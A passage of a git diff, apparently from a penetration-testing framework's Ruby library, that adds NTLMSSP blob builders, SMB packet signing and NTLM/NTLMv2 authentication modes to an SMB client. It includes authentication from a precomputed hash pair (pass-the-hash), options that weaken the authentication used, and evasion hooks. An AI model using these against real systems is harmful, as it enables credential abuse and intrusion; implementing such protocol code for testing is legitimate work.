self.asn1encode( + "\xa0" + self.asn1encode( + "\x30" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" + ) + ) + ) + ) + ) + ) + + return blob + end + + #GSS BLOB usefull for SMB_NEGOCIATE_RESPONSE message + #mechTypes: 4 items : + # MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5) + # MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5) + # MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User) + # MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider) + #mechListMIC: + # principal: account@domain + def self.make_negotiate_secblob_resp(account, domain) + blob = + "\x60" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2b\x06\x01\x05\x05\x02" + ) + + "\xa0" + self.asn1encode( + "\x30" + self.asn1encode( + "\xa0" + self.asn1encode( + "\x30" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02" + ) + + "\x06" + self.asn1encode( + "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02" + ) + + "\x06" + self.asn1encode( + "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03" + ) + + "\x06" + self.asn1encode( + "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" + ) + ) + ) + + "\xa3" + self.asn1encode( + "\x30" + self.asn1encode( + "\xa0" + self.asn1encode( + "\x1b" + self.asn1encode( + account + '@' + domain + ) + ) + ) + ) + ) + ) + ) + + return blob + end + + + #GSS BLOB usefull for ntlmssp type 1 message + def self.make_ntlmssp_secblob_init(domain = 'WORKGROUP', name = 'WORKSTATION', flags=0x80201) + blob = + "\x60" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2b\x06\x01\x05\x05\x02" + ) + + "\xa0" + self.asn1encode( + "\x30" + self.asn1encode( + "\xa0" + self.asn1encode( + "\x30" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" + ) + ) + ) + + "\xa2" + self.asn1encode( + "\x04" + self.asn1encode( + "NTLMSSP\x00" + + [1, flags].pack('VV') + + + [ + domain.length, #length + domain.length, #max length + 32 + ].pack('vvV') + + + [ + name.length, #length + name.length, #max length + domain.length + 32 + ].pack('vvV') + + + domain + name + ) + ) + ) + ) + ) + + return blob + end + + + #GSS BLOB usefull for ntlmssp type 2 message + def self.make_ntlmssp_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags) + + blob = + "\xa1" + self.asn1encode( + "\x30" + self.asn1encode( + "\xa0" + self.asn1encode( + "\x0a" + self.asn1encode( + "\x01" + ) + ) + + "\xa1" + self.asn1encode( + "\x06" + self.asn1encode( + "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" + ) + ) + + "\xa2" + self.asn1encode( + "\x04" + self.asn1encode( + make_ntlmssp_blob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags) + ) + ) + ) + ) + + return blob + end + + #BLOB without GSS usefull for ntlm type 2 message + def self.make_ntlmssp_blob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags) + + addr_list = '' + addr_list << [2, win_domain.length].pack('vv') + win_domain + addr_list << [1, win_name.length].pack('vv') + win_name + addr_list << [4, dns_domain.length].pack('vv') + dns_domain + addr_list << [3, dns_name.length].pack('vv') + dns_name + addr_list << [0, 0].pack('vv') + + ptr = 0 + blob = "NTLMSSP\x00" + + [2].pack('V') + + [ + win_domain.length, # length + win_domain.length, # max length + (ptr += 48) # offset + ].pack('vvV') + + [ flags ].pack('V') + + chall + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + [ + addr_list.length, # length + addr_list.length, # max length + (ptr += win_domain.length) + ].pack('vvV') + + win_domain + + addr_list + return blob + end + + + #GSS BLOB Usefull for ntlmssp type 3 message + def self.make_ntlmssp_secblob_auth(domain, name, user, lm, ntlm, enc_session_key, flags = 0x080201) + + lm ||= "\x00" * 24 + ntlm ||= "\x00" * 24 + + domain_uni = Rex::Text.to_unicode(domain) + user_uni = Rex::Text.to_unicode(user) + name_uni = Rex::Text.to_unicode(name) + session = enc_session_key + + ptr = 64 + blob = + "\xa1" + self.asn1encode( + "\x30" + self.asn1encode( + "\xa2" + self.asn1encode( + "\x04" + self.asn1encode( + + "NTLMSSP\x00" + + [ 3 ].pack('V') + + + [ # Lan Manager Response + lm.length, + lm.length, + (ptr) + ].pack('vvV') + + + [ # NTLM Manager Response + ntlm.length, + ntlm.length, + (ptr += lm.length) + ].pack('vvV') + + + [ # Domain Name + domain_uni.length, + domain_uni.length, + (ptr += ntlm.length) + ].pack('vvV') + + + [ # Username + user_uni.length, + user_uni.length, + (ptr += domain_uni.length) + ].pack('vvV') + + + [ # Hostname + name_uni.length, + name_uni.length, + (ptr += user_uni.length) + ].pack('vvV') + + + [ # Session Key (none) + session.length, + session.length, + (ptr += name_uni.length) + ].pack('vvV') + + + [ flags ].pack('V') + + + lm + + ntlm + + domain_uni + + user_uni + + name_uni + + session + "\x00" + ) + ) + ) + ) + return blob + end + + + # GSS BLOB Usefull for SMB Success + def self.make_ntlmv2_secblob_success + blob = + "\xa1" + self.asn1encode( + "\x30" + self.asn1encode( + "\xa0" + self.asn1encode( + "\x0a" + self.asn1encode( + "\x00" + ) + ) + ) + ) + return blob + end + + #others + + #this function return an ntlmv2 client challenge + def self.make_ntlmv2_clientchallenge(win_domain, win_name, dns_domain, dns_name, client_challenge = nil, chall_MsvAvTimestamp = nil) + + client_challenge ||= Rex::Text.rand_text(8) + #we have to set the timestamps here to the one in the challenge message from server if present + #if we don't do that, recent server like seven will send a STATUS_INVALID_PARAMETER error packet + timestamp = chall_MsvAvTimestamp != nil ? chall_MsvAvTimestamp : self.time_unix_to_smb(Time.now.to_i).reverse.pack("VV") + #make those values unicode as requested + win_domain = Rex::Text.to_unicode(win_domain) + win_name = Rex::Text.to_unicode(win_name) + dns_domain = Rex::Text.to_unicode(dns_domain) + dns_name = Rex::Text.to_unicode(dns_name) + #make the AV_PAIRs + addr_list = '' + addr_list << [2, win_domain.length].pack('vv') + win_domain + addr_list << [1, win_name.length].pack('vv') + win_name + addr_list << [4, dns_domain.length].pack('vv') + dns_domain + addr_list << [3, dns_name.length].pack('vv') + dns_name + addr_list << [7, 8].pack('vv') + timestamp + + #MAY BE USEFUL FOR FUTURE + #seven (client) add at least one more av that is of type MsAvRestrictions (8) + #maybe this will be usefull with future windows OSs but has no use at all for the moment afaik + #restriction_encoding = [48,0,0,0].pack("VVV") + # Size, Z4, IntegrityLevel, SubjectIntegrityLevel + # Rex::Text.rand_text(32) # MachineId generated on startup on win7 and above + #addr_list << [8, restriction_encoding.length].pack('vv') + restriction_encoding + #seven (client) and maybe others versions also add an av of type MsvChannelBindings (10) but the hash is "\x00" * 16 + #addr_list << [10, 16].pack('vv') + "\x00" * 16 + #seven and maybe other versions also add an av of type MsvAvTargetName(9) with value cifs/target(_ip) + #implementing it will necessary require knowing the target here, todo... :-/ + #spn= Rex::Text.to_unicode("cifs/RHOST") + #addr_list << [9, spn.length].pack('vv') + spn + + addr_list << [0, 0].pack('vv') + ntlm_clientchallenge = [1,1,0,0].pack("CCvV") + #RespType, HiRespType, Reserved1, Reserved2 + timestamp + #Timestamp + client_challenge + #clientchallenge + [0].pack("V") + #Reserved3 + addr_list + "\x00" * 4 + + end + +end +end +end +end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 38f8d78feb..a25652d0c2 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -8,8 +8,11 @@ require 'rex/struct2' require 'rex/proto/smb/constants' require 'rex/proto/smb/exceptions' require 'rex/proto/smb/evasions' -require 'rex/proto/smb/crypt' require 'rex/proto/smb/utils' +require 'rex/proto/smb/crypt' +require 'rex/proto/ntlm/crypt' +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/utils' # Some short-hand class aliases @@ -18,6 +21,9 @@ CRYPT = Rex::Proto::SMB::Crypt UTILS = Rex::Proto::SMB::Utils XCEPT = Rex::Proto::SMB::Exceptions EVADE = Rex::Proto::SMB::Evasions +NTLM_CRYPT = Rex::Proto::NTLM::Crypt +NTLM_CONST = Rex::Proto::NTLM::Constants +NTLM_UTILS = Rex::Proto::NTLM::Utils def initialize(socket) self.socket = socket @@ -39,6 +45,17 @@ EVADE = Rex::Proto::SMB::Evasions # Modify the \PIPE\ string in trans_named_pipe calls 'obscure_trans_pipe' => EVADE::EVASION_NONE, } + self.verify_signature = false + self.use_ntlmv2 = false + self.usentlm2_session = true + self.send_lm = true + self.use_lanman_key = false + self.send_ntlm = true + #signing + self.sequence_counter = 0 + self.signing_key = '' + self.require_signing = false + end # Read a SMB packet from the socket @@ -73,7 +90,17 @@ EVADE = Rex::Proto::SMB::Evasions data << buff end + #signing + if self.require_signing && self.signing_key != '' + if self.verify_signature + raise XCEPT::IncorrectSigningError if not CRYPT::is_signature_correct?(self.signing_key,self.sequence_counter,data) + end + self.sequence_counter += 1 + end + return data + + end # Send a SMB packet down the socket @@ -85,6 +112,12 @@ EVADE = Rex::Proto::SMB::Evasions size = 0 wait = 0 + #signing + if self.require_signing && self.signing_key != '' + data = CRYPT::sign_smb_packet(self.signing_key, self.sequence_counter, data) + self.sequence_counter += 1 + end + begin # Just send the packet and return if (size == 0 or size >= data.length) @@ -121,7 +154,7 @@ EVADE = Rex::Proto::SMB::Evasions pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(data) res = pkt - + begin case pkt['Payload']['SMB'].v['Command'] @@ -219,14 +252,14 @@ EVADE = Rex::Proto::SMB::Evasions # Process incoming SMB_COM_SESSION_SETUP_ANDX packets def smb_parse_session_setup(pkt, data) - # Process NTLMv2 negotiate responses + # Process NTLMSSP negotiate responses if (pkt['Payload']['SMB'].v['WordCount'] == 4) res = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct res.from_s(data) return res end - # Process NTLMv1 and LANMAN responses + # Process LANMAN responses if (pkt['Payload']['SMB'].v['WordCount'] == 3) res = CONST::SMB_SETUP_RES_PKT.make_struct res.from_s(data) @@ -436,7 +469,7 @@ EVADE = Rex::Proto::SMB::Evasions end # Negotiate a SMB dialect - def negotiate(extended=true, do_recv = true) + def negotiate(smb_extended_security=true, do_recv = true) dialects = ['LANMAN1.0', 'LM1.2X002' ] @@ -452,7 +485,7 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if(extended) + if(smb_extended_security) pkt['Payload']['SMB'].v['Flags2'] = 0x2801 else pkt['Payload']['SMB'].v['Flags2'] = 0xc001 @@ -460,7 +493,7 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload'].v['Payload'] = data - ret = self.smb_send(pkt.to_s) + ret = self.smb_send(pkt.to_s, EVADE::EVASION_NONE) return ret if not do_recv ack = self.smb_recv_parse(CONST::SMB_COM_NEGOTIATE) @@ -483,6 +516,11 @@ EVADE = Rex::Proto::SMB::Evasions # Set the security mode self.security_mode = ack['Payload'].v['SecurityMode'] + #set require_signing + if (ack['Payload'].v['SecurityMode'] & 0x08 != 0) + self.require_signing = true + end + # Set the challenge key if (ack['Payload'].v['EncryptionKey'] != nil) self.challenge_key = ack['Payload'].v['EncryptionKey'] @@ -530,15 +568,6 @@ EVADE = Rex::Proto::SMB::Evasions end self.system_zone = system_zone * 60 - # XXX: this is being commented out because ruby prior to 1.9.2 doesn't - # seem to support representing non-utc or local times (eg, a time in - # another timezone) If you know a way to do it in pre-1.9.2 please - # tell us! -=begin - # Adjust the system_time object to reflect the remote timezone - self.system_time = self.system_time.utc.localtime(system_zone) -=end - return ack end @@ -547,15 +576,15 @@ EVADE = Rex::Proto::SMB::Evasions def session_setup(*args) if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/) - - + if (self.challenge_key) - return self.session_setup_ntlmv1(*args) + return self.session_setup_no_ntlmssp(*args) end if ( self.extended_security ) - return self.session_setup_ntlmv2(*args) + return self.session_setup_with_ntlmssp(*args) end + end return self.session_setup_clear(*args) @@ -571,7 +600,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 10 pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['MaxBuff'] = 0xffdf @@ -601,121 +637,146 @@ EVADE = Rex::Proto::SMB::Evasions return ack end - # Authenticate using NTLMv1 - def session_setup_ntlmv1(user = '', pass = '', domain = '', do_recv = true) + # Authenticate without NTLMSSP + def session_setup_no_ntlmssp(user = '', pass = '', domain = '', do_recv = true) raise XCEPT::NTLM1MissingChallenge if not self.challenge_key + #we can not yet handle signing in this situation + raise XCEPT::NTLM2MissingChallenge if self.require_signing - if (pass.length == 65) - hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key) - hash_nt = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key) + hash_lm = pass.length > 0 ? NTLM_CRYPT.lanman_des(pass, self.challenge_key) : '' + hash_nt = pass.length > 0 ? NTLM_CRYPT.ntlm_md4(pass, self.challenge_key) : '' + + data = '' + data << hash_lm + data << hash_nt + data << user + "\x00" + data << domain + "\x00" + data << self.native_os + "\x00" + data << self.native_lm + "\x00" + + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + pkt['Payload']['SMB'].v['WordCount'] = 13 + pkt['Payload'].v['AndX'] = 255 + pkt['Payload'].v['MaxBuff'] = 0xffdf + pkt['Payload'].v['MaxMPX'] = 2 + pkt['Payload'].v['VCNum'] = 1 + pkt['Payload'].v['PasswordLenLM'] = hash_lm.length + pkt['Payload'].v['PasswordLenNT'] = hash_nt.length + pkt['Payload'].v['Capabilities'] = 64 + pkt['Payload'].v['SessionKey'] = self.session_id + pkt['Payload'].v['Payload'] = data + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX) + + if (ack['Payload'].v['Action'] != 1 and user.length > 0) + self.auth_user = user + end + + self.auth_user_id = ack['Payload']['SMB'].v['UserID'] + + info = ack['Payload'].v['Payload'].split(/\x00/) + + self.peer_native_os = info[0] + self.peer_native_lm = info[1] + self.default_domain = info[2] + + return ack + end + + + # Authenticate without ntlmssp with a precomputed hash pair + def session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt, do_recv = true) + + raise XCEPT::NTLM2MissingChallenge if self.require_signing + + data = '' + data << hash_lm + data << hash_nt + data << user + "\x00" + data << domain + "\x00" + data << self.native_os + "\x00" + data << self.native_lm + "\x00" + + pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + pkt['Payload']['SMB'].v['WordCount'] = 13 + pkt['Payload'].v['AndX'] = 255 + pkt['Payload'].v['MaxBuff'] = 0xffdf + pkt['Payload'].v['MaxMPX'] = 2 + pkt['Payload'].v['VCNum'] = 1 + pkt['Payload'].v['PasswordLenLM'] = hash_lm.length + pkt['Payload'].v['PasswordLenNT'] = hash_nt.length + pkt['Payload'].v['Capabilities'] = 64 + pkt['Payload'].v['SessionKey'] = self.session_id + pkt['Payload'].v['Payload'] = data + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX) + + if (ack['Payload'].v['Action'] != 1 and user.length > 0) + self.auth_user = user + end + + self.auth_user_id = ack['Payload']['SMB'].v['UserID'] + + info = ack['Payload'].v['Payload'].split(/\x00/) + + self.peer_native_os = info[0] + self.peer_native_lm = info[1] + self.default_domain = info[2] + + return ack + end + + # Authenticate using extended security negotiation + def session_setup_with_ntlmssp(user = '', pass = '', domain = '', name = nil, do_recv = true) + + if require_signing + ntlmssp_flags = 0xe2088215 else - hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : '' - hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : '' + + ntlmssp_flags = 0xa2080205 end - data = '' - data << hash_lm - data << hash_nt - data << user + "\x00" - data << domain + "\x00" - data << self.native_os + "\x00" - data << self.native_lm + "\x00" + if self.usentlm2_session + if self.use_ntlmv2 + #set Negotiate Target Info + ntlmssp_flags |= NTLM_CONST::NEGOTIATE_TARGET_INFO + end - pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 - pkt['Payload']['SMB'].v['WordCount'] = 13 - pkt['Payload'].v['AndX'] = 255 - pkt['Payload'].v['MaxBuff'] = 0xffdf - pkt['Payload'].v['MaxMPX'] = 2 - pkt['Payload'].v['VCNum'] = 1 - pkt['Payload'].v['PasswordLenLM'] = hash_lm.length - pkt['Payload'].v['PasswordLenNT'] = hash_nt.length - pkt['Payload'].v['Capabilities'] = 64 - pkt['Payload'].v['SessionKey'] = self.session_id - pkt['Payload'].v['Payload'] = data - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX) - - if (ack['Payload'].v['Action'] != 1 and user.length > 0) - self.auth_user = user + else + #remove the ntlm2_session flag + ntlmssp_flags &= 0xfff7ffff + #set lanmanflag only when lm and ntlm are sent + if self.send_lm + ntlmssp_flags |= NTLM_CONST::NEGOTIATE_LMKEY if self.use_lanman_key + end end + + #we can also downgrade ntlm2_session when we send only lmv1 + ntlmssp_flags &= 0xfff7ffff if self.usentlm2_session && (not self.use_ntlmv2) && (not self.send_ntlm) - self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - - info = ack['Payload'].v['Payload'].split(/\x00/) - - self.peer_native_os = info[0] - self.peer_native_lm = info[1] - self.default_domain = info[2] - - return ack - end - - - # Authenticate using NTLMv1 with a precomputed hash pair - def session_setup_ntlmv1_prehash(user, domain, hash_lm, hash_nt, do_recv = true) - - data = '' - data << hash_lm - data << hash_nt - data << user + "\x00" - data << domain + "\x00" - data << self.native_os + "\x00" - data << self.native_lm + "\x00" - - pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 - pkt['Payload']['SMB'].v['WordCount'] = 13 - pkt['Payload'].v['AndX'] = 255 - pkt['Payload'].v['MaxBuff'] = 0xffdf - pkt['Payload'].v['MaxMPX'] = 2 - pkt['Payload'].v['VCNum'] = 1 - pkt['Payload'].v['PasswordLenLM'] = hash_lm.length - pkt['Payload'].v['PasswordLenNT'] = hash_nt.length - pkt['Payload'].v['Capabilities'] = 64 - pkt['Payload'].v['SessionKey'] = self.session_id - pkt['Payload'].v['Payload'] = data - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX) - - if (ack['Payload'].v['Action'] != 1 and user.length > 0) - self.auth_user = user - end - - self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - - info = ack['Payload'].v['Payload'].split(/\x00/) - - self.peer_native_os = info[0] - self.peer_native_lm = info[1] - self.default_domain = info[2] - - return ack - end - - # Authenticate using extended security negotiation (NTLMv2) - def session_setup_ntlmv2(user = '', pass = '', domain = '', name = nil, do_recv = true) if (name == nil) name = Rex::Text.rand_text_alphanumeric(16) end - blob = UTILS.make_ntlmv2_secblob_init(domain, name) + blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags) native_data = '' native_data << self.native_os + "\x00" @@ -726,26 +787,33 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + if require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end pkt['Payload']['SMB'].v['WordCount'] = 12 pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['MaxBuff'] = 0xffdf pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['VCNum'] = 1 pkt['Payload'].v['SecurityBlobLen'] = blob.length - pkt['Payload'].v['Capabilities'] = 0x8000d05c + pkt['Payload'].v['Capabilities'] = 0x800000d4 pkt['Payload'].v['SessionKey'] = self.session_id pkt['Payload'].v['Payload'] = blob + native_data ret = self.smb_send(pkt.to_s) + return ret if not do_recv ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) - # The server doesn't know about NTLM_NEGOTIATE, try ntlmv1 + # The server doesn't know about NTLM_NEGOTIATE if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002) - return session_setup_ntlmv1(user, pass, domain) + return session_setup_no_ntlmssp(user, pass, domain) end # Make sure the error code tells us to continue processing @@ -782,62 +850,208 @@ EVADE = Rex::Proto::SMB::Evasions # Extract the address list from the blob alist_len,alist_mlen,alist_off = blob[cidx + 40, 8].unpack("vvV") alist_buf = blob[cidx + alist_off, alist_len] - + chall_MsvAvTimestamp = nil while(alist_buf.length > 0) atype, alen = alist_buf.slice!(0,4).unpack('vv') break if atype == 0x00 addr = alist_buf.slice!(0, alen) case atype when 1 + #netbios name self.default_name = addr.gsub("\x00", '') when 2 + #netbios domain self.default_domain = addr.gsub("\x00", '') when 3 + #dns name self.dns_host_name = addr.gsub("\x00", '') when 4 + #dns domain self.dns_domain_name = addr.gsub("\x00", '') when 5 - # unknown + #The FQDN of the forest. + when 6 + #A 32-bit value indicating server or client configuration when 7 # client time + chall_MsvAvTimestamp = addr + when 8 + #A Restriction_Encoding structure + when 9 + #The SPN of the target server. + when 10 + #A channel bindings hash. end end + + #calculate the lm/ntlm response + resp_lm = "\x00" * 24 + resp_ntlm = "\x00" * 24 - - # Generate a random client-side challenge client_challenge = Rex::Text.rand_text(8) + ntlm_cli_challenge = '' + if self.send_ntlm #should be default + if self.usentlm2_session - # Generate the nonce - nonce = CRYPT.md5_hash(self.challenge_key + client_challenge) + if self.use_ntlmv2 + #This is only a partial implementation, in some situation servers may send STATUS_INVALID_PARAMETER + #answer must then be somewhere in [MS-NLMP].pdf around 3.1.5.2.1 :-/ - # Generate the NTLM hash - if (pass.length == 65) - resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8]) - else - resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8]) + ntlm_cli_challenge = NTLM_UTILS::make_ntlmv2_clientchallenge(default_domain, default_name, dns_domain_name, + dns_host_name,client_challenge , chall_MsvAvTimestamp) + argntlm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user, pass, domain), + :challenge => self.challenge_key } + optntlm = { :nt_client_challenge => ntlm_cli_challenge} + ntlmv2_response = NTLM_CRYPT::ntlmv2_response(argntlm,optntlm) + resp_ntlm = ntlmv2_response + if self.send_lm + arglm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => self.challenge_key } + optlm = { :client_challenge => client_challenge} + resp_lm = NTLM_CRYPT::lmv2_response(arglm, optlm) + else + resp_lm = "\x00" * 24 + end + + else # ntlm2_session + + argntlm = { :ntlm_hash => NTLM_CRYPT::ntlm_hash(pass), + :challenge => self.challenge_key } + optntlm = { :client_challenge => client_challenge} + + resp_ntlm = NTLM_CRYPT::ntlm2_session(argntlm,optntlm).join[24,24] + # Generate the fake LANMAN hash + resp_lm = client_challenge + ("\x00" * 16) + end + + else #we use lmv1/ntlmv1 + + argntlm = { :ntlm_hash => NTLM_CRYPT::ntlm_hash(pass), + :challenge => self.challenge_key } + + resp_ntlm = NTLM_CRYPT::ntlm_response(argntlm) + if self.send_lm + arglm = { :lm_hash => NTLM_CRYPT::lm_hash(pass), + :challenge => self.challenge_key } + resp_lm = NTLM_CRYPT::lm_response(arglm) + else + #when windows does not send lm in ntlmv1 type response, + # it gives lm response the same value as ntlm response + resp_lm = resp_ntlm + end + end + else #send_ntlm = false + #lmv2 + if self.usentlm2_session && self.use_ntlmv2 + arglm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user,pass, domain), + :challenge => self.challenge_key } + optlm = { :client_challenge => client_challenge} + resp_lm = NTLM_CRYPT::lmv2_response(arglm, optlm) + else + arglm = { :lm_hash => NTLM_CRYPT::lm_hash(pass), + :challenge => self.challenge_key } + resp_lm = NTLM_CRYPT::lm_response(arglm) + end + resp_ntlm = "" end - # Generate the fake LANMAN hash - resp_lmv2 = client_challenge + ("\x00" * 16) - # Create the ntlmv2 security blob data - blob = UTILS.make_ntlmv2_secblob_auth(domain, name, user, resp_lmv2, resp_ntlm) + #create the sessionkey (aka signing key, aka mackey) and encrypted session key + #server will decide for key_size and key_exchange + enc_session_key = '' + if self.require_signing + server_ntlmssp_flags = blob[cidx + 20, 4].unpack("V")[0] + #set default key size and key exchange values + key_size = 40 + key_exchange = false + #remove ntlmssp.negotiate56 + ntlmssp_flags &= 0x7fffffff + #remove ntlmssp.negotiatekeyexch + ntlmssp_flags &= 0xbfffffff + #remove ntlmssp.negotiate128 + ntlmssp_flags &= 0xdfffffff + #check the keyexchange + if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_KEY_EXCH != 0 then + key_exchange = true + ntlmssp_flags |= NTLM_CONST::NEGOTIATE_KEY_EXCH + end + #check 128bits + if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_128 != 0 then + key_size = 128 + ntlmssp_flags |= NTLM_CONST::NEGOTIATE_128 + ntlmssp_flags |= NTLM_CONST::NEGOTIATE_56 + #check 56bits + else + if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_56 != 0 then + key_size = 56 + ntlmssp_flags |= NTLM_CONST::NEGOTIATE_56 + end + end + + #generate the user session key + lanman_weak = false + if self.send_ntlm #should be default + if self.usentlm2_session + if self.use_ntlmv2 + user_session_key = NTLM_CRYPT::ntlmv2_user_session_key(user, pass, domain, + self.challenge_key, ntlm_cli_challenge) + else + user_session_key = NTLM_CRYPT::ntlm2_session_user_session_key(pass, self.challenge_key, client_challenge) + end + else #lmv1 / ntlmv1 + if self.send_lm + if self.use_lanman_key + user_session_key = NTLM_CRYPT::lanman_session_key(pass, self.challenge_key) + lanman_weak = true + else + user_session_key = NTLM_CRYPT::ntlmv1_user_session_key(pass ) + end + end + end + else + if self.usentlm2_session && self.use_ntlmv2 + user_session_key = NTLM_CRYPT::lmv2_user_session_key(user, pass, domain, + self.challenge_key, client_challenge) + else + user_session_key = NTLM_CRYPT::lmv1_user_session_key(pass ) + end + end + + user_session_key = NTLM_CRYPT::make_weak_sessionkey(user_session_key,key_size, lanman_weak) + self.sequence_counter = 0 + #sessionkey and encrypted session key + if key_exchange + self.signing_key = Rex::Text.rand_text(16) + enc_session_key = NTLM_CRYPT::encrypt_sessionkey(self.signing_key, user_session_key) + else + self.signing_key = user_session_key + end + + end + # Create the security blob data + blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags) pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end pkt['Payload']['SMB'].v['WordCount'] = 12 pkt['Payload']['SMB'].v['UserID'] = temp_user_id pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['MaxBuff'] = 0xffdf pkt['Payload'].v['MaxMPX'] = 2 pkt['Payload'].v['VCNum'] = 1 - pkt['Payload'].v['SecurityBlobLen'] = blob.length pkt['Payload'].v['Capabilities'] = 0x8000d05c pkt['Payload'].v['SessionKey'] = self.session_id + pkt['Payload'].v['SecurityBlobLen'] = blob.length pkt['Payload'].v['Payload'] = blob + native_data # NOTE: if do_recv is set to false, we cant reach here... @@ -848,7 +1062,7 @@ EVADE = Rex::Proto::SMB::Evasions # Make sure that authentication succeeded if 